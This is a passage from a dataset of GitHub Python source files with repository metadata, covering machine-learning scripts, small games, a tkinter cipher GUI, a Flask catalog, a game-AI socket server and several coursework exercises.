30, 20, 10, 5, 1, 0] # n_features\n test_size = 0.25\n label = 'score'\n estimator = RandomForestRegressor(n_estimators=200, max_depth=None, verbose=1, n_jobs=10)\n save_rfe_dict = True\n draw_prediction_pic = True\n save_pic_folder = ''\n\n \"\"\"\n create dataset\n \"\"\"\n df_dataset = generate_dataset(need_init_dataset=need_init_dataset, need_init_feature=need_init_feature,\n need_init_score=need_init_score, chunk_size=chunk_size, score_file=score_file,\n feature_file=feature_file, saveDataFolder=save_data_folder, df_s_file=df_s_file,\n df_f_file=df_f_file, df_dataset_file=df_dataset_file)\n if need_score_length_pic:\n draw_score_against_length(df_dataset, score_length_pic=base + '/score_length_pic')\n\n if data_portion != 1:\n drop, df_dataset = train_test_split(df_dataset, test_size=data_portion)\n\n X_train, y_train, X_test, y_test = split_dateset(df_dataset, test_size=test_size, label=label)\n n_training_samples = X_train.shape[0]\n print()\n print('For further processing =================')\n print('n_samples in total: ' + str(df_dataset.shape[0]))\n print('n_samples for training: ' + str(X_train.shape[0]))\n print('n_samples for testing : ' + str(X_train.shape[0]))\n\n save_data_folder = save_data_folder + '/rfe_' + str(n_training_samples)\n if not os.path.exists(save_data_folder):\n os.makedirs(save_data_folder)\n save_pic_folder = save_data_folder + '/rfe_prediction'\n\n if save_dataset_dict:\n dataset_dict = {'n': n, 'X_train': X_train, 'y_train': y_train, 'X_test': X_test, 'y_test': y_test}\n save_object(dataset_dict, save_data_folder + '/dataset_dict')\n\n data_time = time.perf_counter()\n print('finish preparing dataset info, time: ' + str(data_time - start))\n\n \"\"\"\n rfe\n \"\"\"\n print()\n rfe_dict = {}\n n_features = df_dataset.shape[1] - 1\n print('original number of features: ' + str(n_features))\n support = np.ones(n_features, dtype=bool)\n ranking = np.ones(n_features, dtype=int)\n rfe_dict[n_features] = {'support': support, 'ranking': ranking, 'score': 9999} # score <= 1\n\n # origin_n_features = n_features # 1907\n # target_n_features = 1000\n\n o_n = n[:-1]\n t_n = n[1:]\n for origin_n_features, target_n_features in zip(o_n, t_n):\n rfe_dict = recursive_feature_elimination(X_train=X_train, y_train=y_train, X_test=X_test, y_test=y_test,\n estimator=estimator, rfe_dict=rfe_dict,\n origin_n_features=origin_n_features,\n target_n_features=target_n_features,\n save_rfe_dict=save_rfe_dict, save_data_folder=save_data_folder,\n draw_prediction_pic=draw_prediction_pic,\n save_pic_folder=save_pic_folder)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ProtQuant/random-forest","sub_path":"src/rf_regressor6.py","file_name":"rf_regressor6.py","file_ext":"py","file_size_in_byte":15680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33704968629","text":"import math\nimport turtle\n\npen = turtle.Turtle()\npen.speed(100)\npen.color(\"red\", \"yellow\")\npen.begin_fill()\n\n\ndef flower(n=None):\n if n is not None and not n % 360:\n return\n\n if n is None:\n n = 0\n\n pen.forward(100)\n pen.left(179)\n flower(n + 179)\n\n\nflower()\n\nturtle.done()\n","repo_name":"Hyperx837/turtle-grapichs","sub_path":"flower.py","file_name":"flower.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70472358454","text":"\"\"\"\r\nGUI for letter rotation encoding of strings\r\nWith slow encoding in a worker thread so the GUI\r\nremains responsive.\r\nMCS 260 Fall 2020 Lecture 43 (2pm)\r\n\"\"\"\r\nimport tkinter\r\nimport tkinter.ttk\r\nimport rotcode\r\nimport time\r\nimport threading\r\n\r\nclass EncoderModel:\r\n \"\"\"Model for the encoder application\"\"\"\r\n def __init__(self):\r\n \"\"\"Create tkinter variables and attach recalculate callback\"\"\"\r\n self.output_text = tkinter.StringVar()\r\n\r\n self.input_text = tkinter.StringVar()\r\n self.input_text.trace_add(\"write\",lambda a,b,c:self.recalculate())\r\n\r\n self.steps = tkinter.IntVar()\r\n self.steps.trace_add(\"write\",lambda a,b,c:self.recalculate())\r\n\r\n self.reverse_flag = tkinter.IntVar()\r\n self.reverse_flag.trace_add(\"write\",lambda a,b,c:self.recalculate())\r\n\r\n self.recalculation_needed = threading.Event()\r\n\r\n self.worker = threading.Thread(target=self.worker_main,daemon=True)\r\n self.worker.start()\r\n\r\n def worker_main(self):\r\n \"\"\"Main function of the worker thread that handles encoding\"\"\"\r\n while True:\r\n self.recalculation_needed.wait()\r\n self.recalculation_needed.clear()\r\n s = self.input_text.get()\r\n senc = rotcode.rotate(s,self.steps.get())\r\n time.sleep(1)\r\n if self.reverse_flag.get():\r\n # Reverse the encoded string\r\n senc = senc[::-1]\r\n # Show the result, but only if it is up to date\r\n if not self.recalculation_needed.is_set():\r\n self.output_text.set(senc)\r\n\r\n def recalculate(self):\r\n \"\"\"Recalculate output_text from the values of input_text,\r\n steps, and reverse_flag\"\"\"\r\n self.output_text.set(\"[WORK IN PROGRESS]\")\r\n # Set recalculation_needed boolean to True\r\n # signaling the worker thread to wake up and do work\r\n self.recalculation_needed.set()\r\n\r\nclass EncoderApp(tkinter.Tk):\r\n \"\"\"GUI for controlling rotcode.rotate\"\"\"\r\n def __init__(self):\r\n \"\"\"Initialize the window and add widgets\"\"\"\r\n super().__init__() # Actually makes the main window\r\n self.title(\"LaserCode 9 Series X+\")\r\n\r\n self.model = EncoderModel()\r\n \r\n self.input_label = tkinter.ttk.Label(self,text=\"Input:\")\r\n self.input_label.grid(row=0,column=0,sticky=\"w\",padx=8,pady=4)\r\n\r\n self.output_label = tkinter.ttk.Label(self,text=\"Output:\")\r\n self.output_label.grid(row=1,column=0,sticky=\"w\",padx=8,pady=4)\r\n\r\n self.input_entry = tkinter.ttk.Entry(self,width=50,textvariable=self.model.input_text)\r\n self.input_entry.grid(row=0,column=1,columnspan=2,sticky=\"ew\",padx=8,pady=4)\r\n\r\n self.output_entry = tkinter.ttk.Entry(self,width=50,state=\"readonly\",textvariable=self.model.output_text)\r\n self.output_entry.grid(row=1,column=1,columnspan=2,sticky=\"ew\",padx=8,pady=4)\r\n\r\n self.steps_label = tkinter.ttk.Label(self,text=\"Steps:\")\r\n self.steps_label.grid(row=2,column=0,sticky=\"w\",padx=8,pady=4)\r\n\r\n self.model.steps.trace_add(\"write\",lambda a,b,c:self.update_steps_indicator())\r\n\r\n self.steps_slider = tkinter.ttk.Scale(self,from_=0,to=25,variable=self.model.steps)\r\n self.steps_slider.grid(row=2,column=1,sticky=\"ew\",padx=8,pady=4)\r\n\r\n self.steps_indicator_content = tkinter.StringVar()\r\n\r\n self.steps_indicator = tkinter.ttk.Label(self,textvariable=self.steps_indicator_content,width=2)\r\n self.steps_indicator.grid(row=2,column=2,sticky=\"w\",padx=8,pady=4)\r\n\r\n self.reverse_check = tkinter.ttk.Checkbutton(self,text=\"Reverse string\",variable=self.model.reverse_flag)\r\n self.reverse_check.grid(row=3,column=1,sticky=\"w\",padx=8,pady=4)\r\n\r\n self.exit_button = tkinter.ttk.Button(self,text=\"Exit\",command=exit)\r\n self.exit_button.grid(row=3,column=2,sticky=\"e\",padx=8,pady=4)\r\n\r\n # Initialize the steps indicator to whatever the initial\r\n # value of the step slider is.\r\n self.update_steps_indicator()\r\n\r\n def update_steps_indicator(self):\r\n \"\"\"Make steps indicator label consistent with the slider position\"\"\"\r\n self.steps_indicator_content.set(str(self.model.steps.get()))\r\n\r\napp = EncoderApp()\r\napp.mainloop()\r\n","repo_name":"daviddumas/mcs260fall2020","sub_path":"samplecode/tkinter/lasercode3.py","file_name":"lasercode3.py","file_ext":"py","file_size_in_byte":4291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32495014700","text":"import socket\nimport json\nimport selectors\nimport types\nimport sys\nimport keras\nimport numpy as np\n\nsys.path.append(\"../\")\nfrom billyrocket.billyrocket import BillyRocket\n\n# Load AI\nbr = BillyRocket(keras.models.load_model(\"../billyrocket/new_model\"))\ngameState = {\"velocity\": 0}\n\n# Connection settings\nf = open(\"../../../connection.config.json\", \"r\")\nconfig = json.loads(f.read())\nf.close()\n\nHOST = config[\"HOST\"]\nPORT = config[\"PORT\"]\n\n# Fix backup\nf1 = open(\"../billyrocket/training-data-backup.json\", 'w')\nf2 = open(\"../billyrocket/training-data.json\", 'r')\ntmpDat = json.load(f2)\nf1.write(json.dumps(tmpDat))\nf1.close()\nf2.close()\n\n# Setup socket\nsel = selectors.DefaultSelector()\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ns.bind((HOST, PORT))\ns.listen()\nprint(\"Listening on \", HOST, PORT)\ns.setblocking(False)\nsel.register(s, selectors.EVENT_READ, data=None)\n\n# Registers incoming traffic\ndef acceptWrapper(sock):\n conn, addr = sock.accept()\n print(\"Connected by \", addr)\n conn.setblocking(False)\n data = types.SimpleNamespace(addr=addr, request=b'', indata=b'', outdata=b'')\n events = selectors.EVENT_READ | selectors.EVENT_WRITE\n sel.register(conn, events, data=data)\n\n# Handles requests / sent data from registered client sockets\ndef serviceConnection(key, mask):\n sock = key.fileobj\n data = key.data\n\n if mask & selectors.EVENT_READ:\n recv_data = sock.recv(1024)\n if recv_data:\n parsedRecvData = recv_data.split(b'|')\n data.request = parsedRecvData[0]\n data.indata = parsedRecvData[1]\n else:\n print(\"Connection closed with \", data.addr[0])\n sel.unregister(sock)\n sock.close()\n if data.request == b'runNetwork':\n aBrInput = list(data.indata)\n aBrInput.append(gameState[\"velocity\"])\n brInput = np.array([aBrInput], dtype=np.float32)\n outputNeurons = br.runNetwork(brInput)\n prediction = np.argmax(outputNeurons)\n data.outdata = str(prediction).encode(\"UTF-8\")\n # Thank god strings in AngelScripts are the same as C strings\n elif data.request == b'trainNetwork':\n # data.indata will look like this: [l0, l1, ..., l10, GAS, BRAKE, LEFT, RIGHT]\n # where GAS, BRAKE, LEFT, RIGHT are all 1 or 0\n lineLengths = list(data.indata[:11])\n buttonsPressed = list(data.indata[11:])\n \n trainingData = None\n with open(\"../billyrocket/training-data.json\", 'r') as f:\n trainingData = json.load(f)\n print(\"VELOCITY:\")\n print(gameState[\"velocity\"])\n trainingData[\"TrainingExamples\"].append({\n \"LineLengths\": lineLengths,\n \"GameState\": [gameState[\"velocity\"]],\n \"KeyboardInput\": buttonsPressed\n })\n with open(\"../billyrocket/training-data.json\", 'w') as f:\n f.write(json.dumps(trainingData))\n elif data.request == b'updateGameState':\n gameState[\"velocity\"] = float(data.indata)\n if mask & selectors.EVENT_WRITE:\n if data.outdata and (not (sock.fileno() == -1)):\n sent = sock.send(data.outdata)\n data.outdata = data.outdata[sent:]\n\ndef main():\n while True:\n events = sel.select(timeout=None)\n for key, mask in events:\n if key.data is None:\n acceptWrapper(key.fileobj)\n else:\n serviceConnection(key, mask)\n\nif __name__ == \"__main__\":\n main()","repo_name":"EriKaffeKanN/trackmania-ai-comparison","sub_path":"server/src/api/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":3601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36027388281","text":"import collections\n\ndef deepcopy(l):\n if not isinstance(l, collections.Iterable):\n raise TypeError(\"Can't deep copy non list object\")\n\n clone = []\n for element in l:\n if type(element) is str:\n subclone = element[:]\n elif type(element) is dict:\n subclone = {}\n for key in element:\n if isinstance(element[key], collections.Iterable):\n sc = deepcopy(element)\n else:\n sc = element[key]\n subclone[key] = sc\n elif isinstance(element, collections.Iterable):\n subclone = deepcopy(element)\n else:\n subclone = element # we are unabled to create a copy of primitives type\n clone.append(subclone)\n return clone\n\n#import deepcopy\n#a = [1, 2, 3, [4, 5, 6], [\"asdf\", 5], {1: [34]}]\n#b = deepcopy.deepcopy(a)\n#print(\"a is b\", a is b)\n#print(\"a[1] is b[1]\", a[1] is b[1])\n#print(\"a[3] is b[3]\", a[3] is b[3])\n#print(\"a[3][0] is b[3][0]\", a[3][0] is b[3][0])\n#print(\"a[4] is b[4]\", a[4] is b[4])\n#print(\"a[4][0] is b[4][0]\", a[4][0] is b[4][0])","repo_name":"sabrina-beck/mc346-paradigmas-de-programacao","sub_path":"python/deepcopy.py","file_name":"deepcopy.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10002297252","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport matplotlib.dates as mdates\nimport numpy as np\n\n# Set a seaborn style for better aesthetics\nsns.set(style=\"whitegrid\")\n\n# Load the dataset\nfile_path = 'HPM09.20230918T210942.csv'\ndf = pd.read_csv(file_path)\n\n# Remove rows with missing values\ndf_clean = df.dropna()\n\n# Convert 'Month' to datetime and sort\ndf_clean['Month'] = pd.to_datetime(df_clean['Month'].str.strip(), format='%Y %B')\ndf_clean = df_clean.sort_values(by='Month')\n\n# Plotting\nplt.figure(figsize=(16, 6))\nsns.lineplot(x='Month', y='VALUE', data=df_clean, color='royalblue', label='Monthly Change')\n\n# Breaking down the data into 3-year segments for trendlines\ndf_clean['Year'] = df_clean['Month'].dt.year\nyear_min = df_clean['Year'].min()\nyear_max = df_clean['Year'].max()\n\nfor start_year in range(year_min, year_max, 3):\n end_year = min(start_year + 3, year_max + 1)\n segment = df_clean[(df_clean['Year'] >= start_year) & (df_clean['Year'] < end_year)]\n if len(segment) > 1:\n z = np.polyfit(range(len(segment['Month'])), segment['VALUE'], 1)\n p = np.poly1d(z)\n plt.plot(segment['Month'], p(range(len(segment['Month']))), '--', label=f'Trend {start_year}-{end_year-1}')\n\nplt.title('Monthly Percentage Change in Residential Property Prices in Dublin with Segmented Trendlines', fontsize=16)\nplt.xlabel('Month', fontsize=14)\nplt.ylabel('Percentage Change (%)', fontsize=14)\n\n# Improve x-axis formatting and ticks\nplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%Y-%m'))\nplt.gca().xaxis.set_major_locator(mdates.YearLocator())\nplt.gcf().autofmt_xdate()\n\n# Add grid and legend\nplt.grid(True)\nplt.legend()\n\n# Show plot\nplt.show()\n","repo_name":"pkgrem/DublinHouseTrends","sub_path":"visualisingpreviousdata.py","file_name":"visualisingpreviousdata.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29563993387","text":"#This program shows the use of super in Inheritance\n\nclass Car(object):\n\n def shape(self):\n print(\"Car has tyres\")\n\nclass Audi(Car): # Inherit Car in Audi class\n\n def shape(self):\n print(\"Audi has Fat tyre\")\n super(Audi, self).shape() #super class to get the feature from the parent class\n\ncar = Car()\naudi = Audi()\n\ncar.shape()\naudi.shape()\n","repo_name":"darshanchandran/PythonProject","sub_path":"PythonProject/Python programming/Inheritance/superInheritence.py","file_name":"superInheritence.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71719681654","text":"MAXIMUM_GROUP_SIZE = 6\nMINIMUM_GROUP_SIZE = 2\nDEFAULT_GROUP_SIZE = 4\n\n\nclass Students:\n def __init__(self, name, position):\n self.name = name\n self.position = position + 1\n self.has_met = []\n\n\ndef get_students():\n return open(\"student_list.txt\", \"r\").readlines()\n\n\ndef number_of_students():\n return len(get_students())\n\n\ndef number_of_students_for_each_student_to_meet():\n return number_of_students() - 1\n\n\ndef create_student_objects(students):\n for i in students:\n student = Students(i, students.index(i))\n\n\ndef find_optimal_group_size(students_to_meet):\n for i in range(MAXIMUM_GROUP_SIZE):\n if i >= MINIMUM_GROUP_SIZE:\n if students_to_meet % i == 0:\n return i\n elif students_to_meet % i == 1 and i > 2:\n return i\n else:\n return DEFAULT_GROUP_SIZE\n\n\ndef generate_list_of_groups(size, students):\n list_of_groups = []\n for i in range(students // size):\n list_of_groups.append([])\n return list_of_groups\n\n\ndef generate_minimum_number_of_groups_where_everyone_meets_at_least_once():\n students = get_students()\n create_student_objects(students)\n group_size = find_optimal_group_size(number_of_students_for_each_student_to_meet())\n groups = generate_list_of_groups(group_size, number_of_students())\n for student in students:\n group = (students.index(student)) // group_size\n if len(groups[group]) < group_size:\n groups[group].append(student)\n print(groups)\n\n\ngenerate_minimum_number_of_groups_where_everyone_meets_at_least_once()\n","repo_name":"Bayesd/student-group-divider","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3996528106","text":"# A list of dictionaries\n# Teo Espero\n# GIST I\n\n# BOF\n\n# define our list\nalien_0 = {\n 'color': 'green',\n 'points': 5,\n 'power': ['telepathy', 'time travel']\n}\n\nalien_1 = {\n 'color': 'red',\n 'points': 10\n}\n\nalien_2 = {\n 'color': 'yellow',\n 'points': 15,\n 'power': ['invisibility', 'fly']\n}\n\nalien_3 = {\n 'color': 'pink',\n 'points': 20,\n 'power': ['electricity', 'stop time']\n}\n\n# define our dictionary containing our list\nprint('define our dictionary containing our list')\naliens = [alien_0, alien_1, alien_2, alien_3]\n\n# print our aliens\nprint('print our aliens')\nprint(f'Our dictionary has {len(aliens)} aliens.')\nfor alien in aliens:\n print(alien)\n\n# add new items to the list\nprint('add new items to the list')\nalien_0['speed'] = '100'\nalien_1['speed'] = '200'\nalien_2['speed'] = '300'\nalien_3['speed'] = '400'\n\n# print the new alien dictionary\nfor alien in aliens:\n print(alien)\n\n# EOF\n","repo_name":"teoespero/PythonStuff","sub_path":"Chapter-06/dictionaries-04.py","file_name":"dictionaries-04.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36620137941","text":"adapters = open('1.in', 'r').read().splitlines()\nadapters = sorted([int(i) for i in adapters])\nlast = max(adapters) + 3\nadapters.insert(0, 0)\nadapters.append(last)\ncache = {adapters[x]: 0 for x in range(len(adapters))} \ncache[last] = 1\nfor index in range(len(adapters) - 1, -1, -1):\n for i in range(1,4):\n prev = index + i\n if(prev < len(adapters)):\n diff = adapters[prev] - adapters[index]\n if diff <= 3:\n cache[adapters[index]] += cache[adapters[prev]]\n\nprint(cache[0])\n","repo_name":"Mudkip/AdventOfCode","sub_path":"2020/day10/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"25075370700","text":"'''\r\nCreated on Mar 16, 2020\r\n\r\n@author: CS6252\r\n'''\r\nfrom flask import Blueprint, render_template, request, flash, redirect, url_for\r\nfrom . import db\r\n\r\ncatalog = Blueprint('catalog', __name__, url_prefix=\"/catalog\", template_folder='templates/catalog')\r\n\r\n\r\n@catalog.route('/')\r\ndef home():\r\n category_id_string = request.args.get('category_id')\r\n category_id = 1\r\n if category_id_string:\r\n category_id = int(category_id_string)\r\n \r\n categories = db.categories.get_categories()\r\n products = db.products.get_products(category_id)\r\n category_name = db.categories.get_category(category_id).category_name\r\n return render_template('catalog.html', category_name=category_name, categories=categories, products=products)\r\n\r\n\r\n@catalog.route('/product', methods=['GET'])\r\ndef product():\r\n categories = db.categories.get_categories()\r\n product_id = request.args.get('product_id')\r\n product = None\r\n \r\n if not product_id:\r\n flash(\"No product found\")\r\n else: \r\n product_id = int(product_id)\r\n product = db.products.get_product(product_id)\r\n \r\n return render_template('product.html', categories=categories, product=product)\r\n\r\n@catalog.route('/product', methods=['POST'])\r\ndef add_product_to_cart():\r\n product_id = request.form.get('product_id')\r\n product_id = int(product_id)\r\n quantity = request.form.get('quantity')\r\n quantity = int(quantity)\r\n \r\n if not product_id or not quantity:\r\n flash('Missing product data. Check all fields and try again.')\r\n return redirect(url_for('catalog.product'))\r\n \r\n db.order.add_item(product_id, quantity)\r\n return redirect(url_for('cart.home'))\r\n\r\n","repo_name":"burtoja/cs6252_lab10_python","sub_path":"app/catalog.py","file_name":"catalog.py","file_ext":"py","file_size_in_byte":1698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18730760828","text":"import re\nfrom exceptions.validation_exception import ValidationException\n\nclass Date:\n _month_days = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n day: int\n month: int\n year: int\n\n def __init__(self, iso_date: str):\n self.validate_iso(iso_date)\n \n splitted_date = iso_date.split('-')\n self.year = int(splitted_date[0])\n self.month = int(splitted_date[1])\n self.day = int(splitted_date[2])\n\n\n def validate_iso(self, iso_date: str) -> bool:\n if (re.match(r\"^\\d{4}-\\d{2}-\\d{2}$\", iso_date) is None):\n raise ValidationException('O formato de data inserido é inválido')\n \n splitted_date = iso_date.split('-')\n subject_year = int(splitted_date[0])\n subject_month = int(splitted_date[1])\n subject_day = int(splitted_date[2])\n\n if(subject_year < 1900):\n raise ValidationException('A menor data possível é 1900-01-01')\n if(subject_year > 2022):\n raise ValidationException('A maior data possível é 2022-12-31')\n if(subject_month < 1 or subject_month > 12):\n raise ValidationException('O mês deve ser um valor entre 1 e 12')\n\n max_month_day = 29 if subject_month == 2 and self.is_leap_year(subject_year) else self._month_days[subject_month-1]\n\n if(subject_day < 0 or subject_day > max_month_day):\n raise ValidationException('O dia para o mês solicitado deve ser um valor entre 1 e {}'.format(max_month_day))\n \n return True\n \n def get_year_day(self) -> int: \n # Lógica:\n # - 1. Considerando o ano, verificar se é bissexto.\n # - 1.1. Caso seja, considerar o valor de _month_days[1] como 29\n self._month_days[1] = 29 if self.is_leap_year(self.year) else 28\n # - 2. Somar:\n # - 2.1. Totais de _month_days até o mês anterior ao atual\n previous_months_sum = sum(self._month_days[0:self.month-1])\n # - 2.1. valor de day \n return previous_months_sum + self.day\n \n @staticmethod\n def is_leap_year(year: int) -> bool:\n return year%4 == 0 and (year%100 != 0 or year%400 == 0)","repo_name":"gabrielcesar95/voxus_challenge_1","sub_path":"date.py","file_name":"date.py","file_ext":"py","file_size_in_byte":2172,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"2856992996","text":"# TEE PELI TÄHÄN\n\nimport pygame\nfrom random import *\n\nclass Hirvio:\n\tdef __init__(self):\n\t\tself.x = randint(0, 640)\n\t\tself.y = randint(-300, -300)\n\t\tself.finished = False\n\n\tdef tiputa_hirvio(self):\n\t\tif self.y < 600 - hirvio.get_height():\n\t\t\tself.y += 2\n\t\tif self.y > (480 - hirvio.get_height()) or self.y > 480:\n\t\t\tself.finished = True\n\nclass Coins:\n\tdef __init__(self):\n\t\tself.x = randint(0, 640)\n\t\tself.y = randint(-500, -200)\n\t\tself.finished = False\n\t\t\n\n\tdef tiputa_kolikko(self):\n\t\tif self.y < 600:\n\t\t\tself.y += 2\n\t\tif self.y > 480 - 50 or self.y > 480:\n\t\t\tself.finished = True\n\npygame.init()\nnaytto = pygame.display.set_mode((640, 480))\n\nrobo = pygame.image.load(\"robo.png\")\ncoin = pygame.image.load(\"kolikko.png\")\nhirvio = pygame.image.load(\"hirvio.png\")\n\nx = 320-robo.get_width()\ny = 480-robo.get_height()\n\noikealle = False\nvasemmalle = False\nylos = False\nalas = False\n\nkello = pygame.time.Clock()\n\nkolikoita = 10\nkolikot = []\nfor i in range(kolikoita):\n\ti = Coins()\n\tkolikot.append(i)\n\nmonsters = 10\nmon_list = []\nfor mon in range(monsters):\n\tmon = Hirvio()\n\tmon_list.append(mon)\n\nwhile True:\n\tfor tapahtuma in pygame.event.get():\n\t\tif tapahtuma.type == pygame.KEYDOWN:\n\t\t\tif tapahtuma.key == pygame.K_LEFT:\n\t\t\t\tvasemmalle = True\n\t\t\tif tapahtuma.key == pygame.K_RIGHT:\n\t\t\t\toikealle = True\n\t\t\tif tapahtuma.key == pygame.K_UP:\n\t\t\t\tylos = True\n\t\t\tif tapahtuma.key == pygame.K_DOWN:\n\t\t\t\talas = True\n\n\t\tif tapahtuma.type == pygame.KEYUP:\n\t\t\tif tapahtuma.key == pygame.K_LEFT:\n\t\t\t\tvasemmalle = False\n\t\t\tif tapahtuma.key == pygame.K_RIGHT:\n\t\t\t\toikealle = False\n\t\t\tif tapahtuma.key == pygame.K_UP:\n\t\t\t\tylos = False\n\t\t\tif tapahtuma.key == pygame.K_DOWN:\n\t\t\t\talas = False\n\n\t\tif tapahtuma.type == pygame.QUIT:\n\t\t\texit()\n\n\tif oikealle and x + robo.get_width() <= 640:\n\t\tx += 2\n\tif vasemmalle and x >= 0:\n\t\tx -= 2\n\tif ylos and y >= 0:\n\t\ty -= 2\n\tif alas and y + robo.get_height() <= 480:\n\t\ty += 2\n\n\tnaytto.fill((255, 0, 255))\n\n\tfor kolikko in kolikot:\n\t\tkolikko.tiputa_kolikko()\n\t\tnaytto.blit(coin, (kolikko.x, kolikko.y))\n\t\tif kolikko.finished:\n\t\t\tkolikot.remove(kolikko)\n\t\t\tkolikko = Coins()\n\t\t\tkolikot.append(kolikko)\n\n\tfor monster in mon_list:\n\t\tmonster.tiputa_hirvio()\n\t\tnaytto.blit(hirvio, (monster.x, monster.y))\n\t\tif monster.finished:\n\t\t\tmon_list.remove(monster)\n\t\t\tmonster = Hirvio()\n\t\t\tmon_list.append(kolikko)\n\t\n\tnaytto.blit(robo, (x, y))\n\tpygame.display.flip()\n\n\tkello.tick(60)","repo_name":"egalibert/Ohjelmoinnin_Mooc_Jatkokurssi_2023","sub_path":"Osa14/src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2386,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"29741536080","text":"import pandas as pd\r\nfrom matplotlib import pyplot as plt\r\nfrom sklearn.cluster import KMeans\r\n\r\nsurvey = pd.read_csv(\"masculinity.csv\")\r\n#print(survey.columns)\r\n#print(len(survey))\r\n\r\ncols_to_map = [\"q0007_0001\", \"q0007_0002\", \"q0007_0003\", \"q0007_0004\",\"q0007_0005\", \"q0007_0006\", \"q0007_0007\", \"q0007_0008\", \"q0007_0009\",\"q0007_0010\", \"q0007_0011\"]\r\nfor i in cols_to_map:\r\n survey[i] = survey[i].map({\"Never, and not open to it\": 0, \"Never, but open to it\": 1,\"Rarely\":2,\"Sometimes\":3,\"Often\":4})\r\n\r\nprint(survey['q0007_0001'].value_counts())\r\n\r\n#plt.scatter(survey[\"q0007_0001\"],survey[\"q0007_0002\"],alpha=0.1)\r\n#plt.show()\r\n\r\nrows_to_cluster=survey.dropna(subset=[\"q0007_0001\", \"q0007_0002\", \"q0007_0003\", \"q0007_0004\",\"q0007_0005\", \"q0007_0008\", \"q0007_0009\"])\r\n\r\nmodel=KMeans(n_clusters=2)\r\nmodel.fit(rows_to_cluster[[\"q0007_0001\", \"q0007_0002\", \"q0007_0003\", \"q0007_0004\",\"q0007_0005\", \"q0007_0008\", \"q0007_0009\"]])\r\n#print(model.cluster_centers_)\r\nprint(model.labels_)\r\ncluster_zero_indices=[]\r\ncluster_one_indices=[]\r\nfor i in range(len(model.labels_)):\r\n if model.labels_[i]==0:\r\n cluster_zero_indices.append(i)\r\n elif model.labels_[i]==1:\r\n cluster_one_indices.append(i)\r\n\r\n#print(cluster_zero_indices)\r\ncluster_zero_df = rows_to_cluster.iloc[cluster_zero_indices]\r\ncluster_one_df = rows_to_cluster.iloc[cluster_one_indices]\r\nprint(cluster_zero_df[\"educ4\"].value_counts())\r\nprint(cluster_one_df[\"educ4\"].value_counts())\r\n","repo_name":"sudeaydin/K-Means-Clustering-masculinitycodecademy","sub_path":"masculinitycodecademy.py","file_name":"masculinitycodecademy.py","file_ext":"py","file_size_in_byte":1456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18730282186","text":"import torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n#Designing model\nclass Net(nn.Module):\n def __init__(self):\n super(Net, self).__init__()\n self.conv1 = nn.Conv2d(3, 6, 5)\n self.pool = nn.MaxPool2d(2, 2)\n self.conv2 = nn.Conv2d(6, 16, 5)\n self.fc1 = nn.Linear(16 * 5 * 5, 120)\n self.fc2 = nn.Linear(120, 84)\n self.fc3 = nn.Linear(84, 10)\n\n def forward(self, x):\n x = self.pool(F.relu(self.conv1(x)))\n x = self.pool(F.relu(self.conv2(x)))\n x = x.view(-1, 16 * 5 * 5)\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n\n#model\nnet = Net()\n#Loss and optimizer\ncriterion = nn.CrossEntropyLoss()\noptimizer = optim.SGD(net.parameters(), lr=0.001, momentum=0.9)\n#Training\nfor epoch in range(2): # loop over the dataset multiple times\n\n running_loss = 0.0\n for i, data in enumerate(trainloader, 0):\n # get the inputs; data is a list of [inputs, labels]\n inputs, labels = data\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n outputs = net(inputs)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n # print statistics\n running_loss += loss.item()\n if i % 2000 == 1999: # print every 2000 mini-batches\n print('[%d, %5d] loss: %.3f' %\n (epoch + 1, i + 1, running_loss / 2000))\n running_loss = 0.0\n\nprint('Finished Training')\n\n","repo_name":"MansurCompAI/AI_with_PythonPytorch_Uz","sub_path":"Codes/cifar.py","file_name":"cifar.py","file_ext":"py","file_size_in_byte":1573,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"21"} +{"seq_id":"10653648643","text":"# -*- coding: utf-8 -*-\n\nimport os, datetime, base64\nimport webapp2, jinja2\n\n# Jinja2 템플릿\ntemplate_dir = os.path.join(os.path.dirname(__file__), 'template')\n\njinja2_env = jinja2.Environment(loader = 